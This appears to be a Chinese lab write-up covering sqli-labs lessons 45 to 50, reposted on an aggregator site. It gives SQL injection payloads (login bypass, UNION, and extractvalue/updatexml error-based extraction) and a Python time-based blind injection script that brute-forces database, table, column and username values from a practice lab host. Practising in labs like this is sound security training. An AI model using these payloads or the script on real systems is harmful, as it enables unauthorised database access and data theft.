sqli-labs(9)

news2024/11/23 7:45:02

45.

不会显示报错信息通过or 1验证

在密码处输入')or('1

登录成功

')union select 1,2,3 #

')union select 1,database(),3 #

')union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 #

')union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 #

')union select 1,(select group_concat(username) from security.users),3 #

46.

单双引号都报错’

后面是order by使用and 1=1 是验证不了的

1 and(extractvalue(1,concat(0x5c,database())))
1 and(updatexml(1,concat(0x7e,database(),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))))
1 and(updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1))

47.

1'失败

1‘ --+成功

1“成功 

1'and(extractvalue(1,concat(0x5c,database()))) --+
1'and(updatexml(1,concat(0x7e,database(),0x7e),1)) --+

1'and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))) --+
1'and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) --+

1'and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))) --+
1'and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)) --+

48.

发现页面无报错回显,这里还是order by 无法使用union

使用延时注入

1 and if(substr(database(),1,1)='s',sleep(2),0)

用脚本进行爆破

import requests,time

def database():
    database_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr(database(),{len (database_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                database_name += char
                print(f"数据库名称为:{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为:",datas)

1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e',sleep(2),0) --+
def tablename():
    table_name =''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{len(table_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                table_name += char
                print(f"表名称为:{table_name}")
                break
        else:
            break
    return table_name

tables =  tablename()
print("最终表名称为:",tables)

1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i',sleep(2),0) --+
def columnname():
    column_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{len(column_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                column_name += char
                print(f"列名称为:{column_name}")
                break
        else:
            break
    return column_name

columns = columnname()
print("最终列名称为:",columns)

1 and if(substr((select username from security.users limit 1,1),1,1)='a',sleep(2),0) --+
def datas():
    data  = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select username from security.users limit 1,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url) 
            end_time = time.time()  
            rsp.time = end_time - start_time    
            if rsp.time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
das = datas()
print("最终数据为:",das)
   

完整的脚本

import requests,time

def database():
    database_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr(database(),{len (database_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                database_name += char
                print(f"数据库名称为:{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为:",datas)

         
def tablename():
    table_name =''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{len(table_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                table_name += char
                print(f"表名称为:{table_name}")
                break
        else:
            break
    return table_name

tables =  tablename()
print("最终表名称为:",tables)

def columnname():
    column_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{len(column_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                column_name += char
                print(f"列名称为:{column_name}")
                break
        else:
            break
    return column_name

columns = columnname()
print("最终列名称为:",columns)

def datas():
    data  = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select username from security.users limit 1,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url) 
            end_time = time.time()  
            rsp.time = end_time - start_time    
            if rsp.time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
das = datas()
print("最终数据为:",das)
   

49.

和上面比多了’

50.

1 and(extractvalue(1,concat(0x5c,database())))
1 and(updatexml(1,concat(0x7e,database(),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))))
1 and(updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1274268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电脑桌面上带有日期提醒的便签工具用哪个

在电脑桌面上创建便签条目时,不少人后续复盘便签上整理的工作计划时,会想知晓当时是什么时间创建的工作计划,亦或者是该条工作计划需要什么时间触发提醒等,这时候电脑桌面便签就需要附带有相关的显示时间的功能,在电脑…

【数电笔记】码制

目录 说明: 二进制代码 1. 二 - 十进制码 2. 常用二 - 十进制代码表 2.1 例题 可靠性代码 1. 格雷码 2. 奇偶校验码 3. 8421奇偶校验码表 说明: 笔记配套视频来源:B站 二进制代码 1. 二 - 十进制码 2. 常用二 - 十进制代码表 2.1 例题…

6、单片机与AT24C02的通讯(IIC)实验(STM32F407)

IIC简介 I2C(IIC,Inter-Integrated Circuit),两线式串行总线,由PHILIPS公司开发用于连接微控制器及其外围设备。 它是由数据线SDA和时钟SCL构成的串行总线,可发送和接收数据。在CPU与被控IC之间、IC与IC之间进行双向传送,高速IIC总线一般可达…

常见算法

简单认识算法 什么是算法? 解决某个实际问题的过程和方法! 排序算法 冒泡排序 选择排序 冒泡排序 每次从数组中找到最大值放在数组的后面去 import java.util.Arrays;public class Work1 {public static void main(String[] args) {//准备一个数组in…

2023年AI报告:首个投研GPTs测评重塑AI竞争格局

今天分享的是AI系列深度研究报告:《2023年AI报告:首个投研GPTs测评重塑AI竞争格局》。 (报告出品方:国盛证券) 报告共计:10页 1.一键创建 GPTs 助力行业研究 GPTs 目前仅对企业用户和 ChatGPT Plus 会员…

一些后端测试的东西

后端测试都测试些什么 接口测试最小单元测试联调测试 接口测试 接口测试要素 可重复性 异常覆盖 环境一致 如何进行方便的接口测试 测试工具: idea-httpRequest , apifox , postman, jmeter 如何使用idea进行高效的接口测试 编写接口 启动项目直接…

数据爬取+可视化实战_告白气球_词云展示----酷狗音乐

一、前言 歌词上做文本分析,数据存储在网页上,需要爬取数据下来,词云展示在工作中也变得日益重要,接下来将数据爬虫与可视化结合起来,做个词云展示案例。 二、代码 # -*- coding:utf-8 -*- # 酷狗音乐 通过获取每首歌…

【网络】传输层 -- 详解IP协议及IP协议的分片原理

目录 一、IP协议基本概念二、IP协议头格式1、报头和有效载荷如何分离2、有效载荷是如何向上交付(分用)的3、具体IP报头 三、网段划分1、什么是网段划分2、如何进行子网划分?再次理解子网划分及如何划分 3、私有IP地址和公网IP地址4、路由 四、…

ax1800配置clash

ax1800路由器固件分享 路由器版本: 米WiFi开发版本固件 链接:https://pan.baidu.com/s/1MwJSl2chv66S_EzC3UtZwA 提取码:xbpt 固件降级 MiWiFi 后台的常用设置 -> 系统状态中点击手动升级 点击 手动升级 选择上传的包 升级完成图示例…

PyMuPDF---Python处理PDF的宝藏库详解

1、PyMuPDF简介 1.1 介绍 在介绍PyMuPDF之前,先来了解一下MuPDF,从命名形式中就可以看出,PyMuPDF是MuPDF的Python接口形式。 MuPDF MuPDF 是一个轻量级的 PDF、XPS和电子书查看器。MuPDF 由软件库、命令行工具和各种平台的查看器组成。 …

深信服技术认证“SCSA-S”划重点:SQL注入漏洞

为帮助大家更加系统化地学习网络安全知识,以及更高效地通过深信服安全服务认证工程师考核,深信服特别推出“SCSA-S认证备考秘笈”共十期内容,“考试重点”内容框架,帮助大家快速get重点知识~ 划重点来啦 深信服安全服务认证工程师…

修改el-table表头样式

<style lang"scss" scoped> ::v-deep .el-table {.el-table__header-wrapper, .el-table__fixed-header-wrapper {th {word-break: break-word;background-color: #f8f8f9;color: #515a6e;height: 40px;font-size: 13px;}} } </style>

ROS报错:RLException:Invalid roslaunch XML Syntax: mismatched tag:

运行roslaunch文件提示&#xff1a; RLException:Invalid roslaunch XML Syntax: mismatched tag: line 45&#xff0c; column 2 The traceback for the exception was written to the log file. j 解决办法&#xff1a; line45 行多了标签&#xff1a;</node> 另外…

Intellij idea 快速定位到文件的开头或者结尾的几种方式

方式一&#xff1a;Scroll To Top / Scroll To Bottom 首先打开Keymap设置&#xff0c;并搜索Scroll To 依次点击File->Settings->Keymap可打开该界面 对于Scroll To Top 快速滑动定位到文件顶部&#xff0c; Scroll To Bottom快速定位到文件底部 默认是没有设置快捷键的…

用 LangChain 搭建基于 Notion 文档的 RAG 应用

如何通过语言模型查询 Notion 文档&#xff1f;LangChain 和 Milvus 缺一不可。 在整个过程中&#xff0c;我们会将 LangChain 作为框架&#xff0c;Milvus 作为相似性搜索引擎&#xff0c;用二者搭建一个基本的检索增强生成&#xff08;RAG&#xff09;应用。在之前的文章中&a…

分布式仿真SNN的思考

我之前实现的仿真完全基于如下图设计的 将整体的网络构成见一个邻接表&#xff0c;突触和神经元作为类分别存储&#xff0c;所以当一个神经元发射脉冲时&#xff0c;很容易的将脉冲传输到突触指向的后神经元。但是在分布式方丈中&#xff0c;由多个进程仿真整体的网络&#xff…

ChatGPT人工智能对话系统源码 附完整的搭建教程

人工智能技术的快速发展&#xff0c;对话系统成为了人们与计算机交互的重要方式之一。ChatGPT是一种基于深度学习的大型语言模型&#xff0c;其源码系统可以用于构建各种自然语言处理应用&#xff0c;如聊天机器人、智能客服、语音助手等。 以下是部分代码示例&#xff1a; 系…

金钟转债上市价格预测

金钟转债-123230 基本信息 转债名称&#xff1a;金钟转债&#xff0c;评级&#xff1a;A&#xff0c;发行规模&#xff1a;3.5亿元。 正股名称&#xff1a;金钟股份&#xff0c;今日收盘价&#xff1a;31.65元&#xff0c;转股价格&#xff1a;29.1元。 当前转股价值 转债面值…

NX二次开发UF_MTX2_initialize 函数介绍

文章作者&#xff1a;里海 来源网站&#xff1a;https://blog.csdn.net/WangPaiFeiXingYuan UF_MTX2_initialize Defined in: uf_mtx.h int UF_MTX2_initialize(const double x_vec [ 2 ] , const double y_vec [ 2 ] , double mtx [ 4 ] ) overview 概述 Returns a matrix…

WordPress(10)解决中文连接问题

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、修改的前后二、自定义结构讲明三、修改方法前言 提示:这里可以添加本文要记录的大概内容: 1.中文连接如:http://www.lplovemm.love/2023/11/12/测试 2.这种连接在提交sitemap收录的时…